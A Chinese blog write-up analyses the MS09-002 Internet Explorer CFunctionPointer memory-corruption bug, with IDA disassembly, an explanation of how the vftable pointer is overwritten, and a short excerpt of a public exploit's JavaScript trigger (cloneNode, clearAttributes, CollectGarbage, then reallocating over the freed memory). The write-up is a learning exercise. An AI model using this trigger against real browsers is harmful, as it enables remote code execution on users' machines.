ms09002漏洞分析

绿盟公告:
Internet Explorer的CFunctionPointer函数没有正确地处理文档对象,如果以特定序列附加并删除了对象,
就可以触发内存破坏,导致以当前登录用户的权限执行任意代码。


漏洞背景

MS09-002的溢出技术实际上是C++中溢出覆盖虚函数指针技术。
虚函数使用动态联编技术,即使用virtual关键字,并且在调用函数时通过指针或引用调用来实现。
当程序进行动态联编时会把虚拟函数的地址放在一个特定的表中(vftable),程序通过查表方式来调用函数。
我们要做的就是覆盖掉这个vftable里的内容,当下次调用时候就会跳到我们指定的地址。

先来看看对象的空间组织

| 低地址 |
+-----------+ ---> 对象起始地址
|pvftable |-------------------------->+
+-----------+ |
|各成员变量 | |
+-----------+ ---> 对象结束地址 + ---> +--------------------+ 地址表 vftable
| 高地址 | |虚函数 1 地址 |
+--------------------+
|虚函数 2 地址 |
+--------------------+
|... |

分析

从公告和google中知道了出问题的是mshtml.dll中的CFunctionPointer对象,IDA之。

; public: __thiscall CFunctionPointer::CFunctionPointer(class CBase *, long)
??0CFunctionPointer@@QAE@PAVCBase@@J@Z proc near

arg_0= dword ptr 8
arg_4= dword ptr 0Ch

mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, ecx
call ??0CBase@@QAE@XZ ; CBase::CBase(void)
mov ecx, [ebp+arg_0] ; _this
test ecx, ecx ;
mov eax, [ebp+arg_4]
mov dword ptr [esi], offset ??_7CFunctionPointer@@6B@ ; const CFunctionPointer::`vftable' ****虚拟表地址
mov [esi+10h], ecx ; 填充虚函数地址 ***
mov [esi+14h], eax
jz short loc_7E3B0923

再看看CFunctionPointer的引用添加CFunctionPointer::PrivateAddRef

.text:7E8999D6 ; public: virtual unsigned long __stdcall CFunctionPointer::PrivateAddRef(void)
.text:7E8999D6 ?PrivateAddRef@CFunctionPointer@@UAGKXZ proc near
.text:7E8999D6 ; DATA XREF: .text:7E907DBC o
.text:7E8999D6
.text:7E8999D6 arg_0 = dword ptr 8
.text:7E8999D6
.text:7E8999D6 mov edi, edi
.text:7E8999D8 push ebp
.text:7E8999D9 mov ebp, esp
.text:7E8999DB push esi
.text:7E8999DC mov esi, [ebp+arg_0] ; _this
.text:7E8999DF mov eax, [esi+10h] ; &vftable
.text:7E8999E2 test eax, eax
.text:7E8999E4 jz short loc_7E8999F2
.text:7E8999E6 cmp dword ptr [esi+4], 0
.text:7E8999EA jz short loc_7E8999F2
.text:7E8999EC mov ecx, [eax]
.text:7E8999EE push eax
.text:7E8999EF call dword ptr [ecx+4] ; 取虚拟函数

可以看到代码中没有做任何边界检测。

利用

太菜了,不会写shellcode...
到Milw0rm上down下来的一个shellcode,以下是关键部分

var o2 = o1.cloneNode(); // 克隆节点
o1.clearAttributes(); // 释放对象
o1=null; CollectGarbage(); // 设置变量为NULL并调用CollectGarbage()时javascript并不会把内存释放。
//当下次再次定义变量时,就会覆盖此变量所在的内存。
//如果不设为null,javascript再次定义变量时,会开辟一个新的内存空间。
for(var x=0;x<a1.length;x++) a1[x].src=s1; // 开始覆盖
o2.click; //触发

从这段利用代码中感觉到利用这个漏洞并不是很容易,还涉及到javascript的内存机制。

总结

刚到公司没什么事,就写了这篇分析文档。
这是我第一次学习分析漏洞,望各位看官多多指正,thx!

参考:

1、《网络渗透技术》 http://www.xfocus.net
2、Microsoft IE CFunctionPointer函数内存破坏漏洞(MS09-002) http://www.nsfocus.net/vulndb/12928
3、关于ie的内存泄漏与javascript内存释放 http://www.okajax.com/a/200806/062954F2008.html
4、MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) (xp sp2) http://www.milw0rm.com/exploits/8079
5、MS09-002,刚刚触发了一下 http://hi.baidu.com/yicong2007/blog


文章来自: 本站原创
Tags:
评论: 0 | 查看次数: 7464